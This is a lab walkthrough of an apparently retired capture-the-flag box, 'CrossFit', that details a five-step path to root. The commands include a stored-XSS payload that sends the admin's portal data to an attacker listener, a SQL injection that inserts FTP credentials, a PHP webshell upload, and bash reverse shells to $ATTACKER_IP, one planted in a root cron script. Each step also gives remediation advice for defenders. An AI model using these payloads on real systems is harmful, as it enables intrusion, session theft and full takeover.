← all walkthroughs

CrossFit

Linux· Insane· Privilege Escalation
owned
2026-07-13
time to own
30m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

CrossFit presented a five-link chain from anonymous visitor to root. A stored cross-site scripting flaw in the public contact form ran a payload in the administrator's browser, stealing a live session cookie for a restricted employee-management sub-domain.

That session exposed a SQL injection point used to write new FTP credentials into the database. The FTP account had write access to the web root, so uploading a PHP webshell gave remote code execution as the web server user.

A PHP configuration file held a plaintext database password reused on an OS account, providing an SSH foothold. From there a root-owned scheduled task executed a file in a world-writable directory, and placing a reverse-shell payload in that file delivered full root access on the next cron cycle.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets (<app-user>, <bcrypt-or-md5-hash>, <chosen-password>, <stolen-session-value>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationService enumeration / anonymous FTP access (T1046)
Mapped open services and identified the crossfit.htb virtual host
A TCP port scan against the target found FTP on port 21, SSH on port 22, and HTTP on port 80. The HTTP response redirected to the crossfit.htb virtual host hosting a fitness-club marketing site. Anonymous FTP login was accepted without a password, granting directory listing access and confirming the service was reachable without credentials.
Nmap TCP/SYN scan output; ftp banner accepted 'anonymous' user with blank password.
Exact commands 3
shell

Full port scan with service versions and default scripts.

$ nmap -sC -sV -p- --min-rate 5000 -oN crossfit-full.txt $TARGET
shell

Register all discovered virtual hosts for local resolution.

$ echo "$TARGET crossfit.htb employees.crossfit.htb" | sudo tee -a /etc/hosts
shell

Connect; enter 'anonymous' at the username prompt and blank password to confirm unauthenticated access.

$ ftp $TARGET
FixDisable anonymous FTP and restrict FTP write access to non-web pathsHigh
WeaknessThe FTP service accepted anonymous logins without credentials. Even without direct write access at the anonymous level, the service exposed the server's directory layout and reduced an unauthorised user's reconnaissance effort needed to understand the file structure later exploited.
FixSet anonymous_enable=NO in /etc/vsftpd.conf and restart vsftpd. Restrict all authenticated FTP users to their home directories (chroot_local_user=YES, chroot_list_enable=YES) and never grant write access to any directory served by the web server. Replace FTP with SFTP over SSH where possible to consolidate credential management under SSH key authentication.
2EnumerationVirtual-host and directory enumeration (T1590.005)
Discovered the employee management sub-domain and the contact form attack surface
Virtual-host fuzzing against the HTTP server returned employees.crossfit.htb, which hosted a login-protected employee administration panel. Directory brute-forcing on the main site confirmed a /contact route whose form submission stores the user-supplied message and notifies the administrator by rendering it in their browser session, creating a stored XSS opportunity.
Ffuf vhost scan hit employees.crossfit.htb with a distinct response size; contact form POST accepted raw HTML in the message field.
Exact commands 2
shell

Adjust -fc to match the baseline redirect code for this target.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://crossfit.htb/ -H 'Host: FUZZ.crossfit.htb' -fc 301,302 -mc all -o ffuf-vhosts.json
shell

Enumerate directories on the main virtual host.

$ gobuster dir -u http://crossfit.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster-root.txt
3ExploitationStored Cross-Site Scripting / cross-origin session theft (CWE-79, T1185)
Stole the administrator's session cookie via stored XSS in the contact form
The contact form accepted and stored raw JavaScript in the message field without encoding or sanitization. Submitting a payload that made the admin's browser perform a credentialed cross-origin fetch to employees.crossfit.htb, then base64-encoded and forwarded the response to me HTTP listener, returned the admin's active session cookie for that sub-domain. This bypassed the employees portal login entirely.
My HTTP listener received base64 payload containing the employees.crossfit.htb session cookie; replaying the cookie in a browser confirmed admin-level access to the employee portal.
Exact commands 2
shell

Start a listener on your tun0 interface to catch the exfiltrated cookie (run in a separate terminal).

$ python3 -m http.server 8000
shell

Replace $ATTACKER_IP with your tun0 address. The payload runs in the admin's browser and exfiltrates the employees portal cookie to your listener.

$ curl -sS -X POST http://crossfit.htb/contact.php -d 'name=test&email=test@test.com&phone=1234567890&message=<script>var+r=new+XMLHttpRequest();r.open("GET","http://employees.crossfit.htb/",true);r.withCredentials=true;r.onload=function(){fetch("http://'"$ATTACKER_IP"':8000/?d="+btoa(r.responseText));};r.send();</script>'
FixEncode all user-submitted content before display and lock down session cookiesCritical
WeaknessThe contact form stored raw user input and rendered it in the administrator's browser without output encoding. A JavaScript payload submitted by any visitor executed in the admin's authenticated session, allowing cross-origin credential theft from a sibling sub-domain.
FixApply htmlspecialchars() (PHP) or an equivalent output-encoding function to every stored field before it reaches an HTML context. Add a Content-Security-Policy header (script-src 'self') to block inline script execution and cross-origin fetches. Set the HttpOnly and SameSite=Strict attributes on all session cookies so they cannot be read by JavaScript or sent in cross-site requests. Test with OWASP ZAP or Burp Scanner after each release.
4ExploitationSQL Injection in INSERT statement / FTP credential injection (CWE-89, T1190)
Injected FTP credentials via SQL injection in the employee management portal
With the stolen admin session, the employee account-management interface was accessible. The user-registration endpoint concatenated input directly into a SQL INSERT statement without parameterization. Crafting a payload in the username field inserted a new row into the FTP credentials table consulted by vsftpd, creating my own FTP account without any legitimate authorization step.
Employees.crossfit.htb account creation endpoint returned success with SQL metacharacters in the username field; FTP login with injected credentials succeeded immediately after.
Exact commands 3
shell

Confirm admin portal access using the exfiltrated cookie before probing further.

$ curl -sS -b 'PHPSESSID=<stolen-session-value>' http://employees.crossfit.htb/dashboard.php
shell

Adjust the hash format to match what vsftpd expects. Compute with: echo -n '<chosen-password>' | md5sum

$ curl -sS -X POST -b 'PHPSESSID=<stolen-session-value>' http://employees.crossfit.htb/api/account-manager.php --data-urlencode "username=hacker','<bcrypt-or-md5-hash>',1)-- -" -d 'action=add'
shell

Log in with the injected username and chosen password to confirm FTP access.

$ ftp $TARGET
FixParameterize all database queries in the employee management portalCritical
WeaknessThe account-creation endpoint in the employee portal concatenated user input directly into a SQL INSERT statement. An unauthorised user with a valid admin session could craft input that wrote arbitrary rows into the FTP credentials table, creating unauthorized access with no audit trail.
FixReplace every dynamic SQL statement with a prepared statement using bound parameters. In PHP with PDO: $stmt = $pdo->prepare('INSERT INTO ftp_users (username, password_hash, active) VALUES (?, ?, ?)'); $stmt->execute([$user, $hash, 1]); Enforce this pattern in a code review gate before any merge to the main branch. Deploy a WAF rule blocking SQL metacharacters in API parameters as a secondary layer, but treat it as defense-in-depth only; the fix must be in application code.
5ExploitationUnrestricted file write to web root / PHP webshell upload (CWE-434, T1505.003)
Uploaded a PHP webshell via FTP to gain remote code execution
The injected FTP account had write access to a directory served directly by Apache. Placing a PHP webshell there and requesting it over HTTP executed arbitrary OS commands as the www-data service account. A reverse shell payload provided a stable interactive channel.
FTP PUT shell.php succeeded; HTTP GET /shell.php?cmd=id returned uid=33(www-data).
Exact commands 4
shell

Create a minimal webshell locally.

$ echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' > shell.php
shell

Upload the webshell; substitute the injected FTP credentials.

$ ftp -n $TARGET <<'EOF'
user hacker <chosen-password>
put shell.php
bye
EOF
shell

Verify RCE returns www-data context.

$ curl -sS 'http://crossfit.htb/shell.php?cmd=id'
shell

Trigger a reverse shell; catch with: nc -lvnp 4444

$ curl -sS --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"' 'http://crossfit.htb/shell.php'
FixProhibit PHP execution in any FTP-accessible or upload-accessible directoryCritical
WeaknessFTP accounts had write access to a directory served by Apache with PHP execution enabled. Uploading a .php file was sufficient to run arbitrary server-side code as the web service account with no further exploitation required.
FixSeparate FTP landing directories from all web-served paths. If uploads must be web-accessible, add a dedicated Apache or nginx configuration block that disables PHP and all other interpreters for that path (Apache: php_admin_flag engine Off inside a Directory block; nginx: fastcgi_pass removed for the location). Restrict accepted file types to a strict whitelist validated by magic-byte inspection (getimagesize() or file -b --mime-type), not by file extension alone. Serve uploaded files through a controller that sets Content-Disposition: attachment to prevent browser execution.
6Lateral MovementCredentials in files / password reuse (T1552.001, T1078.003)
Recovered plaintext database credentials from a PHP config file and pivoted to an OS user via SSH
From the www-data shell, reading the web application PHP configuration file revealed the database password stored in plaintext. The same password was set on a local OS account, a classic reuse failure. SSH with those credentials gave an interactive user shell and access to the user flag.
Config.php contained a DB_PASS value in cleartext; SSH authentication with that value succeeded for the matching OS account.
Exact commands 4
shell

Locate PHP files containing credential strings from the www-data shell.

$ find /var/www -name '*.php' 2>/dev/null | xargs grep -lEi 'password|passwd|DB_PASS|db_pass' 2>/dev/null
shell

Print the credential lines from the identified config file.

$ grep -iE 'password|passwd|DB_PASS' /var/www/html/config.php
shell

Authenticate with the recovered password; replace <app-user> with the OS username found by cross-referencing /etc/passwd against the DB username.

$ ssh <app-user>@$TARGET
shell

Capture the user flag: <user.txt>

$ cat ~/user.txt
FixRemove plaintext credentials from application files and enforce unique passwords per serviceHigh
WeaknessThe web application's PHP configuration file stored the database password in cleartext, readable by anyone who obtained a shell as the web service account. That password was also set on a local OS account, so a single recovered string unlocked two systems.
FixStore secrets in environment variables injected at runtime, or retrieve them from a secrets manager (HashiCorp Vault, AWS Secrets Manager, or a .env file excluded from source control and readable only by the web process user). Every service account and OS account must have a unique, randomly generated password with no reuse across systems. Audit existing config files before the next release: grep -rEi 'password|passwd|secret|key' /var/www and remediate each hit.
7Privilege EscalationCron job path hijack via world-writable directory (T1053.003)
Hijacked a root cron job by writing a payload to a world-writable script path
Reviewing scheduled tasks revealed a root-owned cron entry invoking a script located in a directory where the application OS user had write permissions. Appending a reverse-shell one-liner to that script caused root to execute it on the next cron cycle. A listener caught the incoming connection as root, completing full system compromise.
Crontab listing showed root-owned job; ls -la confirmed world-writable target path; reverse shell received as uid=0(root).
Exact commands 5
shell

List all system cron jobs and identify any root-owned entries.

$ cat /etc/crontab; ls -la /etc/cron.d/
shell

Find non-standard world-writable paths accessible from the current user account.

$ find / -writable -not -path '/proc/*' -not -path '/sys/*' -not -path '/dev/*' 2>/dev/null | grep -v '/tmp\|/run'
shell

Append the reverse-shell line to the writable script; wait one cron cycle (up to 60 seconds).

$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" >> /path/to/writable/cron-script.sh
shell

Catch the incoming root shell connection.

$ nc -lvnp 4445
shell

Capture the root flag: <root.txt>

$ cat /root/root.txt
FixAudit root cron jobs and remove write access to every path on their execution chainCritical
WeaknessA cron task running as root executed a script located in a directory writable by an application OS account. Writing a reverse-shell payload to that script caused root to execute it automatically on the next cron cycle, giving an unauthorised user full system control without any additional vulnerability.
FixRun crontab -l -u root and review all files in /etc/cron.d/ and /etc/cron.*/. For every script or binary a root job calls, verify the file and every directory in its path is owned by root and not group- or world-writable (chmod 755 minimum, chmod 700 preferred). Apply the principle of least privilege: downgrade each scheduled task to the lowest-privilege account that satisfies its function. Use absolute paths for all executables in cron entries to prevent PATH hijack. Repeat this audit after any new package install or application deployment.